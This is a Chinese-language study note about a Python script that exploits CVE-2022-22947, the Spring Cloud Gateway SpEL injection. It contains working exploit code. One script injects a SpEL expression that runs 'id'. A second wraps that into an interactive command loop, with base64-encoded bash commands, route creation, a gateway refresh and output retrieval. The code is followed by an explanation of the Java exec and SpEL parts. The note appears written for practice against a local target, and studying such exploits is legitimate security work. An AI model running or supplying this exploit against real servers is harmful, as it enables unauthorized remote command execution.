###### tags: `網路知識` `練習` `Python`
# python request的運用傳送封包 [CVE-2022-22947]
以request 來做應用
參考:https://blog.csdn.net/qq_45675449/article/details/109135625
原先以burp suite repeater 發送封包,後來嘗試自己做一個封包發送,便運用python request 來學習,而為了大量發送封包,且接續 [CVE-2022-22947]的運用,便寫了一支python 以做後續方便作業。
## 使用request發送封包
增加header,body,
在這中間發現request會自動幫你增加content-Type及content-Length,並且運用burp suite去做驗證


## main code
下列為發送封包的主code
```python=
import requests
#input the data
body = {
"id": "timtim",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
#input header
headers = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"If-None-Match": "3147526947",
"If-Modified-Since": "Thu, 17 Oct 2019 07:18:26 GMT",
"Connection": "close",
#"Content-Length": "0",
#"Content-Type": "application/json"
}
keyword1 = "/actuator/gateway/routes/timtim"
proxies = {
'http': 'http://127.0.0.1:8081',
'https': 'http://127.0.0.1:8081',
}
#for proxy
#r= requests.post("http://0.0.0.0:8080"+keyword1,proxies = proxies,json=body)
r= requests.post("http://0.0.0.0:8080"+keyword1,json=body,headers=headers)
print(r.status_code,end='\n')
print(r.text,end='\n')
print(r.encoding,end='\n')
print(r.apparent_encoding,end='\n')
print(r.headers,end='\n')
```
## 後續進階運用
既然可以送出封包了,那就在繼續接下來的步驟,把所有要傳送的封包都塞進code裡面,並且改變一下成我們想要的形式例如
1.使用BeautifulSoup回顯我們想要的東西,
2.並且弄個while迴圈可以持輸入commend
3.修改body內容以便我們後續進行滲透,下面會解釋為何修改
```python=
from re import S
import requests
from bs4 import BeautifulSoup
import base64
import json
#input the data
#新增while迴圈
while(1):
#input_cmd = 'ls -al'
input_cmd=input("input:")
cmd = input_cmd.encode('utf-8')
cmd = str(base64.b64encode(cmd))
cmd = cmd.strip('b')
cmd = cmd.strip("'")
cmd = 'bash -c {echo,' + cmd + '}|{base64,-d}|{bash,-i}'
#修改body 內容
body = {
"id": "code",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"" + cmd + "\").getInputStream()))}"
}
}],
"uri": "http://ggg.cpdd",
"order": 0
}
#input header
headers = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"If-None-Match": "3147526947",
"If-Modified-Since": "Thu, 17 Oct 2019 07:18:26 GMT",
"Connection": "close",
#"Content-Length": "0",
#"Content-Type": "application/json"
}
target = "http://0.0.0.0:8080"
keyword1 = "/actuator/gateway/routes/xxx"
proxies = {
'http': 'http://127.0.0.1:8081',
'https': 'http://127.0.0.1:8081',
}
#for proxy
#r= requests.post("http://0.0.0.0:8080"+keyword1,proxies = proxies,json=body)
step1 = requests.post( target +keyword1,json=body)
print("POST new routes:",step1.status_code,end='\n')
# step2 refresh
keyword2 = "/actuator/gateway/refresh"
step2 = requests.post( target +keyword2,headers=headers)
print("Refresh:",step2.status_code,end='\n')
#step3 use get to check
step3 = requests.get( target +keyword1,headers=headers)
print("GET new routes:",step3.status_code,end='\n')
soup = BeautifulSoup(step3.text,"html.parser")
#print(type(soup.text))
ac= soup.text.split(",")
print(ac)
#exit(1) #有exit便可以只執行一次
```

## 重點code講解
```python=
原先的內容:"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
後來的內容:"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"" + cmd + "\").getInputStream()))}"
```
由於在練習練習過程中,發現到先前大老的CVE-2022-22947復現不能夠輸入空字元,或者其他符號,再後來又有一位大老新增一篇同一個CVE復現,但是他那隻程式卻可以輸入其他符號,便很好奇是在什麼情況下造成不能輸入的原因,因此有了下面的解答。
### 原先code解釋
Linux下調用系統命令
```java=
參考:https://www.cnblogs.com/digod/p/11194880.html
String [] cmd={"/bin/sh","-c","ln -s exe1 exe2"};
Process proc =Runtime.getRuntime().exec(cmd);
```
為了把str塞進去
```java=
exec() #執行指令
#exec(str)中不能把str完全看作命令行執行的command。
#尤其是str中不可包含重定向 ' < ' ' > ' 和管道符' | ' 。
#因此要以調用exec()的重載方法將exec()變成exec(String[] cmdarray)
#也就是
exec(new String[]{\"id\"}
在變成
getRuntime().exec(new String[]{\"id\"}
參考:https://blog.csdn.net/timo1160139211/article/details/75006938
```
接下來是java.lang.Runtime
```java=
參考:https://blog.csdn.net/timo1160139211/article/details/75050886
將命令執行的輸入/結果或者將錯誤信息讀取出來
```
而T()則是T (type) 表示具體的一個java型別
```
參考:https://iter01.com/578027.html
Java 泛型(generics)是 JDK 5 中引入的一個新特性, 泛型提供了編譯時型別安全檢測機制,該機制允許開發者在編譯時檢測到非法的型別。
T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}
```
再來是T(org.springframework.util.StreamUtils).copyToByteArray
```java=
參考:https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/util/StreamUtils.html
將input的東西copy成字串到再將它輸出
```
最後是string
```java=
string 非限定Class名
java.lang.string 限定class名
非限定類名是相對於限定類名來說的,在Java中有很多類,不同的類之間會存在相同的函數或者方法,所以有時候就需要限定類名來調包。
而如果不存在相同的函數或者方法 ,就可以使用非限定類名
```
### 後續code的差別
後續大老參考https://github.com/chaosec2021/CVE-2022-22947-POC
在那之前那篇CVE-2022-22947,payload有.exec(new String[]{\"id\"}),為什麼只能輸入單個指令,例如ls id whoami ,如果是要ls -al ,卻還是只有ls ,這個原因是因為linux錯誤的把sting 讀進去的的時候將空格當作分隔符號,以至於空格後的文字會變成list,因此才讀不到後續的字串。
```
ls -al
string[0]= ls
string[2]= -al
參考:https://blog.csdn.net/u012760435/article/details/80593314
```
以上便是整段程式碼的講解。